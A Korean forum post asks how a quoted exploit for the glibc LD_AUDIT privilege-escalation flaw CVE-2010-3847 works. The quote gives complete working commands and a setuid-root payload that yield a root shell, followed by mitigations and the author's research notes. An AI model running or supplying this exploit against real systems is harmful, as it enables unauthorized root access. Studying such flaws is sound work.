RHEL, CentOS 취약성 root권한 획득 과정 설명좀 해주세요

아래는 http://cafe.daum.net/redhat/D4GV/17 에서 발췌한 내용입니다.

문서번호는 CVE-2010-3847로 해당 취약성은 sticky bit를 가지는 명령어(ping,passwd등.. )를 
다이나믹 링크(ld.so)를 통해 실행하면서 발견된 문제로 , 일반계정 사용자가 쉽게 이 취약성을
이용해 root계정을 획득하게되는 중요한 보안 이슈 입니다.
실제 패키지는 glibc상의 소스코드상의 취약성입니다.
아래는 일반계정으로 root계정을 득하는 예제입니다.
RHEL 5와 RHEL 6(CENT OS 포함)에서 모두 가능합니다.
 
성공적으로 이 취약성을 이용하려면 SUID또는 SGID 바이너리가 공격자가 해당 디렉토리를 쓰는
권한을 가지고 같은 파일시스템에 위치해야 한다. 예를 들어 , /tmp와 /usr 이 둘다 / 상에
올라가 있다면 필요한 조건이 충족된 것이고, glibc 라이브러리 로더는 수정된 코드를 로딩하여
속일 수 있고 실행할 수 있는 SUID또는 SGID의 권한 으로 실행될 수 있다. 
 
>>> 이 취약성에 해당되는 버젼(Tested) 
RedHat Enterprise Server 5.x
CentOS 5.x
페도라 13 
Ubuntu 10
 
http://seclists.org/fulldisclosure/2010/Oct/257
CVE-2010-3847
 
 
>>>취약성 점검 방법(root 권한 획득)
 
우선 일반계정으로 SSH또는 TELNET등으로 접속 한후 아래의 진행
 
$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D (ctrl +d)
 
 
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root
 
이제 ROOT권한을 획득하였음. 
 
>>> 이에 대한 해결안 대략 2가지
1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것
2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것

위 내용을 따라 해보니 진짜 root권한을 갖게 되더라구요..
근데 너무 지식이 없다보니.. 어떻게 질문을 해야하는지 조차 잘 모르겠네요.. ㅋ

그래도 일단 궁금한대로 질문을 해보겠습니다.

1. $ exec 3< /tmp/exploit/target 라는 명령은 무얼 의미하나요?
위 명령을 실행하면
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
라는 또 다른 링크가 생성되는거 같은데.. /proc/16189/fd/ 의 용도는 무엇인가요?

2. payload.c 에서 main 함수로 수정해 보니 제대로 작동하지 않던데,
왜 꼭 main함수보다 먼저 실행되는 void __attribute__((constructor)) 으로 작성해야만 제대로 작동하는 이유는 뭔가요?

3. $ gcc -w -fPIC -shared -o /tmp/exploit payload.c 컴파일 옵션에 대해서도 설명좀 해주시면 고맙겠습니다.

4. $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 이 행은 도대체 뭔가요? LD_AUDIT, \$ORIGIN 다 모르겠습니다 ㅠㅠ

5. glibc 은 주로 무슨 용도로 사용되는 건가요?

6. "다이나믹 링크(ld.so)를 통해 실행되면서 발견된 문제..." 라고 하는데
위의 과정중 어느 부분에서 /bin/ping이 동적링크로 어디서 어떻게 실행되는건가요?

전부가 아니더라도
일부만이라도 아시는것이 있다면 리플로 답변을 남겨주시면 고맙겠습니다.

감사합니다.

----- 찾아본 내용들 (2012.2.3)

/proc/$$/fd/3

1. exec 명령어는 bash의 빌트인 명령어이다 (# man bash)
exec [[-] 명령 [인수]] : 명령을 명시하면 그 명령으로 쉘 프로세스를 교체한다. 새로운 프로세스는 만들어지지 않는다.

2. fd는 File Descriptor 를 의미하는것 같다. 파일 디스크립터는 표준입력 STDIN = 0, 표준출력 STDOUT = 1, 표준에러 STDERR = 2 에 관한 것들이다.

3. $$는 현재 bash의 PID를 뜻한다. (# ps 한후 # echo $$ 해보면 확인가능)

4. 3< 은, 표준입력-표준출력-표준에러 이외의 추가적인 "파일 디스크립터"를 만든다는 의미일까?

여전히 $ exec 3< /tmp/exploit/target 의 정확한 의미는 모르겠다.

--------
(2012.2.3)

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

-w 옵션 : 모든 경고 메시지가 나오지 않도록

-fPIC 옵션 : 위치에 독립적인 코드를 만들어라

-shared 옵션 : 가능한 한 공유 라이브러리와 링크하고 공유 라이브러리가 없는 경우에는 정적 라이브러리와 링크

--------
(2012.2.4)

http://pubs.opengroup.org/onlinepubs/007904975/utilities/exec.html

EXAMPLES

Open readfile as file descriptor 3 for reading:

exec 3< readfile

Open writefile as file descriptor 4 for writing:

exec 4> writefile

Make file descriptor 5 a copy of file descriptor 0:

exec 5<&0

Close file descriptor 3:

exec 3<&-

Cat the file maggie by replacing the current shell with the cat utility:

exec cat maggie

----------
(2012.2.4)

[pogusm@localhost temp]$ pwd
/home/pogusm/temp
[pogusm@localhost temp]$ cat > test3
This is nothing....
[pogusm@localhost temp]$ exec 3< test3
[pogusm@localhost temp]$ exec 4> test4
[pogusm@localhost temp]$ ll /proc/$$/fd
합계 0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 0 -> /dev/pts/0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 1 -> /dev/pts/0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 2 -> /dev/pts/0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 255 -> /dev/pts/0
lr-x------. 1 pogusm pogusm 64 2012-02-04 11:01 3 -> /home/pogusm/temp/test3
l-wx------. 1 pogusm pogusm 64 2012-02-04 11:01 4 -> /home/pogusm/temp/test4
[pogusm@localhost temp]$ cat test4
[pogusm@localhost temp]$ echo "bbbbb" >&4
[pogusm@localhost temp]$ cat test4
bbbbb
[pogusm@localhost temp]$ cat <&3
This is nothing....

---------------
(2012.2.4)
http://www.kernel.org/doc/man-pages/online/pages/man8/ld.so.8.html

LD_AUDIT
(glibc since 2.4) A colon-separated list of user-specified, ELF shared
objects to be loaded before all others in a separate linker namespace
(i.e., one that does not intrude upon the normal symbol bindings that
would occur in the process). These libraries can be used to audit the
operation of the dynamic linker. LD_AUDIT is ignored for set-user-
ID/set-group-ID binaries.

The dynamic linker will notify the audit libraries at so-called
auditing checkpoints--for example, loading a new library, resolving a
symbol, or calling a symbol from another shared object--by calling an
appropriate function within the audit library. For details, see rtld-
audit(7). The auditing interface is largely compatible with that
provided on Solaris, as described in its Linker and Libraries Guide, in
the chapter Runtime Linker Auditing Interface.

$ORIGIN and rpath

ld.so understands the string $ORIGIN (or equivalently ${ORIGIN}) in an rpath
specification (DT_RPATH or DT_RUNPATH) to mean the directory containing the
application executable. Thus, an application located in somedir/app could be
compiled with gcc -Wl,-rpath,'$ORIGIN/../lib' so that it finds an associated
shared library in somedir/lib no matter where somedir is located in the
directory hierarchy. This facilitates the creation of "turn-key" applications
that do not need to be installed into special directories, but can instead be
unpacked into any directory and still find their own shared libraries.

(번역좀 부탁드립니다...)
--------------